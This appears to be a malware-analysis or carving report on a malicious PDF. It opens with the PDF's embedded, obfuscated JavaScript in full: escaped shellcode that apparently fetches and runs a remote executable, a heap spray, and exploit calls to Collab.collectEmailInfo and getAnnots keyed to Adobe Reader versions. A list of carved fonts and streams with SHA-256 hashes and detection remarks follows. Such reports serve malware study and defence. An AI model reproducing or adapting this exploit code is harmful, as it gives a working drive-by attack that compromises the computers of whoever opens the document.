"%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4a70%u7969%u0047%u7468%u7074%u2f3a%u6d2f%u6463%u6975%u716d%u6f6d%u6b78%u632e%u6d6f%u6e2f%u6574%u702f%u6f72%u2e78%u7865%u2f65%u4879%u6139%u3764%u6462%u6634%u3056%u3031%u6630%u3630%u3030%u3630%u3852%u3037%u3630%u3761%u3136%u3230%u6454%u6336%u6434%u6238%u3263%u3330%u306c%u3030%u0063";app.F57r_EdWTk = unescape(M_b5tI(j5M0g_0b, A4_1__L1TM66ken));var x__Yj1sqp = 0x400000;var mluR_4_WL = B1I__1_R05J_QS8.length * 2;var L_A4nnBDoJj = x__Yj1sqp - (mluR_4_WL+0x38);G_f___oL_bTb = uKTjv_pT(G_f___oL_bTb, L_A4nnBDoJj);var h0___75e_ij1__F = (Fv_DCd - 0x400000)/x__Yj1sqp;for (var Imf602 = 0; Imf602 < h0___75e_ij1__F; Imf602++) {t1P0w_stEIh[Imf602] = G_f___oL_bTb + B1I__1_R05J_QS8;}}function WU_QFDr_cB(){var N_Ai_M_d_7ey2xn = "";for (WiXwyKv_S = 0; WiXwyKv_S < 12; WiXwyKv_S++) {N_Ai_M_d_7ey2xn += unescape("%u0c0c%u0c0c");}var w_Cka652_a0_Sd = "";for (WiXwyKv_S = 0; WiXwyKv_S < 750; WiXwyKv_S++) {w_Cka652_a0_Sd += N_Ai_M_d_7ey2xn;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: w_Cka652_a0_Sd});app.clearTimeOut(PEpVaaq2);}function YAj_CR8R(qmyxBw32){var b____e = PEpVaaq2;if ((qmyxBw32 >= 8 && qmyxBw32 < 8.11) || qmyxBw32 < 7.1) {t_D_hVJf_Aa1(23, "%u0c0c%u0c0c", qmyxBw32);app.huKGw_e = WU_QFDr_cB;PEpVaaq2 = app.setTimeOut("app.huKGw_e()", 1);} if (qmyxBw32 < 7.12) {function ec0U_2N_P() {try {t_D_hVJf_Aa1(22, "%u0c0c%u0c0c", qmyxBw32);var fY____TQ = -0x7CFCFCFD;this.getAnnots(fY____TQ, fY____TQ, fY____TQ, fY____TQ);} catch(e) {console.println("annots exception error"); }}ec0U_2N_P();}t_D_hVJf_Aa1(13, "%u0c0c%u0c0c", qmyxBw32);if (b____e) {app.clearTimeOut(b____e);}}var fLy2_RWOv_2M_B = 0;var d5tTjVO = app.plugIns;for (var G0NDKFnT3_T3q = 0; G0NDKFnT3_T3q < d5tTjVO.length; G0NDKFnT3_T3q++) {var mql2bHQT4 = d5tTjVO[G0NDKFnT3_T3q].version;if (mql2bHQT4 > fLy2_RWOv_2M_B) { fLy2_RWOv_2M_B = mql2bHQT4; }}if (app.viewerVersion == 9.103 && fLy2_RWOv_2M_B < 9.13) {fLy2_RWOv_2M_B = 9.13;}if (!(fLy2_RWOv_2M_B < 9 || fLy2_RWOv_2M_B >= 9.2) ||    !(fLy2_RWOv_2M_B < 8 || fLy2_RWOv_2M_B >= 8.17) ||    !(fLy2_RWOv_2M_B < 7 || fLy2_RWOv_2M_B >= 7.14)) {YAj_CR8R(fLy2_RWOv_2M_B);}
icc_00_off0007d48f.icc pdf-icc-profile PDF ICC profile at offset 0x7D48F 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_sfnt_off00000e5a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xE5A 46764 bytes
SHA-256: afeb9e1e920aae3aca3f295f1bbccba46b16423dac14b1b5fde4b661de9198cc
font_01_sfnt_off00008483.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x8483 62160 bytes
SHA-256: 5f96e1e90c4ef56487c91d02c05141dca0967f8e2bbd5d67be6c4f381f0afa79
font_02_sfnt_off00011b6b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x11B6B 37232 bytes
SHA-256: d375c22ace40f0b973d7308d85023b2e0e49d40dc51da45552d116868346475e
font_03_sfnt_off000166cd.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x166CD 71216 bytes
SHA-256: b661c2e877dd6b7625208ae148d736aedb24eda2d4f014262cbb7f958f538ca0
font_11_sfnt_off0006da75.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x6DA75 11156 bytes
SHA-256: 8b62f203a4ab5c2ac76368029c584b4fa12fffc17f3b6e4e43a9997416807d21
font_12_sfnt_off00072d28.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x72D28 32640 bytes
SHA-256: 6cf6df6beee88aa138f821122d0c1969b348cebe09cafe5b5f6a7eb8c27107a0
font_13_sfnt_off00087578.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x87578 22628 bytes
SHA-256: 95592346b00d039686aa3d7e22eae3d52b011e7e842a5c123f73e89ea766cd35
u3d_00_off000214e6.bin pdf-3d-stream PDF U3D 3D stream at offset 0x214E6 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.